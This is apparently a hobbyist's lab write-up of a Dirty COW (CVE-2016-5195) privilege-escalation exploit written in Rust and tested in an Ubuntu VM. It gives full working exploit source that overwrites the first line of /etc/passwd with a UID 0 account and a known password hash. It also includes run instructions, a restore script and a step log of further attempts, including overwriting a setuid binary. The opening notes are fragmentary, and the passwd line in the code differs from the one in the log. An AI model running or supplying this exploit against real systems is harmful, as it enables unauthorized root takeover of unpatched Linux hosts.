

Run ./whynot

Quickly (you have 9 second

Su a

A

We're now root

usermod -aG sudo [username]

Quickly kill the ghost user before kernel panics!!!

```
python3 - <<'PY'
from pathlib import Path
p = Path('/etc/passwd')
lines = p.read_text().splitlines()
lines[0] = 'root:x:0:0:root:/root:/bin/bash'
p.write_text("\n".join(lines) + "\n")
PY
```

Su [username]

[password]

Now you've got root privileges

Sourecode

```
use std::fs::{File, OpenOptions};
use std::io::{Seek, SeekFrom, Write, BufReader,
BufRead};
use std::os::unix::io::AsRawFd;
use std::ptr;
use std::sync::{atomic::{AtomicBool, Ordering},
Arc};
use std::thread;
use std::time::{Duration, Instant};
use std::process::Command;

fn main() -> std::io::Result<()> {
    let target_path = "/etc/passwd";
```

```

let login_name = "a";

// THE 32-BYTE MASTER KEY
// a(1) + :(1) + hash(13) + :0:0:.(6) + :/ (2) +
:/bin/sh(7) + \n(1) = 32
let payload_str =
"a:aafKPWZb/dLAs:0:0:./:/bin/sh\n";
let p_bytes = payload_str.as_bytes().to_vec();

assert_eq!(p_bytes.len(), 32, "Geometry Fail:
Payload must be exactly 32 bytes");

let file =
OpenOptions::new().read(true).open(target_path)?;
let map = unsafe {
    libc::mmap(ptr::null_mut(), 4096,
libc::PROT_READ, libc::MAP_PRIVATE,
file.as_raw_fd(), 0)
};

if map == libc::MAP_FAILED {
    return Err(std::io::Error::last_os_error());
}

println!("[*] Pivot: MANUAL PROOF FINALIST
(v17)");

let running_madvise =
Arc::new(AtomicBool::new(true));
let running_write =
Arc::new(AtomicBool::new(true));
let map_usize = map as usize;

```

```

// THREAD 1: MADVISE
let r1 = running_madvise.clone();
let h1 = thread::spawn(move || {
    while r1.load(Ordering::SeqCst) {
        unsafe { libc::madvise(map_usize as *mut
libc::c_void, 4096, libc::MADV_DONTNEED); }
        thread::yield_now();
    }
});

// THREAD 2: WRITE (Silent)
let r2 = running_write.clone();
let p_vec = p_bytes.clone();
let h2 = thread::spawn(move || {
    if let Ok(mut mem_file) =
OpenOptions::new().read(true).write(true).open("/pr
oc/self/mem") {
        while r2.load(Ordering::SeqCst) {
            let _ =
mem_file.seek(SeekFrom::Start(map_usize as u64));
            let _ = mem_file.write_all(&p_vec);
            thread::yield_now();
        }
    }
});

let start = Instant::now();
let timeout = Duration::from_secs(10);
let mut landed = false;

// RACE LOOP
loop {
    if start.elapsed() > timeout {

```

```

        println!("\n[-] Timeout. Race did not
land.");
        break;
    }

    let mut check_line = String::new();
    if let Ok(f) = File::open(target_path) {
        let _ = BufReader::new(f).read_line(&mut
check_line);
    }

    if check_line == payload_str {
        println!("\n[+] MATCH! Entry landed in
{:?}", start.elapsed());
        landed = true;
        break;
    }
    thread::sleep(Duration::from_millis(5));
}

// CLEANUP
running_madvise.store(false, Ordering::SeqCst);
running_write.store(false, Ordering::SeqCst);
let _ = h1.join();
let _ = h2.join();

unsafe {
    libc::munmap(map, 4096);
}

if !landed {
    return Ok(());
}

```

```

thread::sleep(Duration::from_millis(500));

// DIAGNOSTICS
println!("\n[*] --- DIAGNOSTICS ---");
println!("[*] First line:");
let _ =
Command::new("head").arg("-n").arg("1").arg(target_
path).status();

println!("[*] getent passwd {}: ", login_name);
let _ =
Command::new("getent").arg("passwd").arg(login_name
).status();
println!("[*] -----\n");

// MANUAL INSTRUCTIONS
println!("[+] HIT! /etc/passwd first line
replaced.");
println!("[*] Run manually now:");
println!("    su a");
println!("    Password: a");
println!("    id");
println!();
println!("[*] If uid=0, restore immediately to
prevent disk corruption:");
println!("    python3 - <<'PY'");
println!("from pathlib import Path");
println!("p = Path('/etc/passwd')");
println!("lines = p.read_text().splitlines()");
println!("lines[0] =
'root:x:0:0:root:/root:/bin/bash'");

```

```
println!("p.write_text('\n'.join(lines) +
'\n')");
println!("PY");
println!("    head -n 2 /etc/passwd");

Ok(())
}
```

1. **Started with the core Dirty COW primitive.**

The initial goal was to reproduce CVE-2016-5195 in Rust: map a read-only file privately with `mmap`, race `advise(MADV_DONTNEED)` against writes to `/proc/self/mem`, and make a read-only file change anyway.

2. **Targeted `/etc/passwd` first.**

`/etc/passwd` was chosen because it is an obvious privilege target: if a UID 0 account can be inserted or substituted, `su` can potentially give a root shell.

3. **First version overwrote the root line too crudely.**

The early payload replaced the start of `/etc/passwd` with a line like `newroot:x:0:0:root:/root:/bin/bash`. It proved the race could affect the file, but it damaged the file structure.

4. **Confirmed the primitive had landed.**

Seeing the first line of `/etc/passwd` become `newroot...` proved Dirty COW had written to a file opened read-only. That was the first real success.

5. **Broke root/sudo temporarily.**

Replacing `root:` with another username removed the normal root account entry. This caused errors like `sudo: unknown user: root`, showing that successful corruption is not the same as controlled escalation.

6. **Built a repair tool.**

A `dirtyfix`/rehab-style Rust payload was created to restore the first line of `/etc/passwd` back to `root:x:0:0:root:/root:/bin/bash`.

7. **Learned to keep VM backups.**

Because failed attempts could break authentication or trigger kernel faults, the `qcow2` VM disk was backed up and restored repeatedly.

8. **Fixed the Rust project layout.**

Several binary targets were added to `Cargo.toml`, including variants like `dirtyfix`, `cowroot`, `cowrehab`, `cowsetuid`, and `whynot`. The recurring Cargo lesson was: build by bin target name, not filename.

9. **Cross-compiled Linux binaries from macOS.**

Builds were done from the Mac using Docker and `clux/muslrust:stable`,

producing static Linux x86_64 binaries under
`target/x86_64-unknown-linux-musl/release/`.

10. Established the transfer workflow.

The binary was copied into the Ubuntu VM with `scp -P 2222 ... user1@127.0.0.1:~/`, using QEMU's forwarded SSH port.

11. Hit malformed `/etc/passwd` geometry.

Early payloads either overwrote too much and damaged the next line, or left trailing garbage. This caused parsing failures and `getent` errors.

12. Identified the “geometry” rule.

Dirty COW here is an overwrite, not an insertion. The replacement line had to be exactly the same length as the original first line, including the newline.

13. Measured the root line length.

The original first line was 32 bytes: `root:x:0:0:root:/root:/bin/bash\n`.

14. Tried padding strategies.

Several payloads attempted to pad the line with extra colons or filler fields. Some produced invalid passwd entries because they created too many fields.

15. Discovered the hash was wrong.

The initially used DES hash `aa8B39889B99` did not match password `a` on the VM.

The VM's own `crypt.crypt("a", "aa")` returned `aafKPWZb/dLAs`.

16. Corrected the password hash.

The valid hash for password `a` became part of the payload: `aafKPWZb/dLAs`.

17. Found the exact 32-byte valid line.

The final working passwd line was:

`a:aafKPWZb/dLAs:0:0:::/bin/sh\n`

It is exactly 32 bytes and parses as a valid UID 0 account.

18. Verified the field structure.

The final line has the correct passwd format:

`name:password:uid:gid:gecos:home:shell`. No trailing colon, no extra field, no bleed into the next line.

19. Tried `setuid`-binary overwrite as an alternative.

A pivot attempted to overwrite `/usr/bin/chsh` with a root-shell ELF payload, relying on the file's `setuid`-root bit.

20. Shrank the ELF payload.

A static payload was around 22 KB, then a dynamic payload was built at about 6.2 KB. This reduced the write size but still crossed pages.

21. `Setuid` overwrite caused kernel writeback crashes.

Attempts to overwrite `/usr/bin/chsh` repeatedly crashed the VM in `ext4/JBD2` writeback paths, with traces involving `ext4_writepages`, `writeback_sb_inodes`, and `Fixing recursive fault but reboot is needed`.

22. Tried chunked `setuid` writes.

A page-by-page/chunked version was built to reduce the blast radius. It landed the first

chunk but still crashed the VM, showing the `setuid`-binary target was unstable on this setup.

23. Learned that `sync()` was dangerous.

Explicitly calling `libc::sync()` after Dirty COW writes repeatedly forced the kernel into the ext4 writeback path that caused recursive faults. Later versions removed `sync()` from the exploit flow.

24. Rejected raw shellcode overwrite.

A raw shellcode idea was considered, but raw bytes at the start of an ELF file are not automatically executed by `execve`; the kernel expects a valid ELF header and entry point.

25. Returned to `/etc/passwd` with stricter discipline.

Since binary overwrite was unstable, the project returned to the small-text overwrite strategy. A 32-byte `passwd` line was much better suited to Dirty COW than a multi-page ELF.

26. Separated race control flags.

Later Rust versions used `AtomicBool` flags to control the `advise` and writer threads cleanly. This allowed the exploit to stop immediately after a verified match.

27. Added thread joining and unmapping.

The final version stops both threads, joins them, and calls `munmap` before diagnostics. This removed dangling race activity after success.

28. Added on-disk verification.

The exploit reads the first line of `/etc/passwd` in a loop and only declares success when the line exactly matches the intended payload.

29. Kept escalation manual.

Automation around `su`, password entry, persistence, and post-exploitation was removed. The final program prints instructions: run `su a`, enter password `a`, then run `id`.

30. Achieved root proof.

The final manual step worked: `su a` produced a root shell. `whoami` showed `a`, and `id` showed `uid=0(a) gid=0(root) groups=0(root)`. That is the successful privilege escalation proof

31. Restored `/etc/passwd` manually after root proof.

After confirming `uid=0(a) gid=0(root)`, a Python cleanup script was run from the root shell to replace the temporary UID 0 account line with the original root line: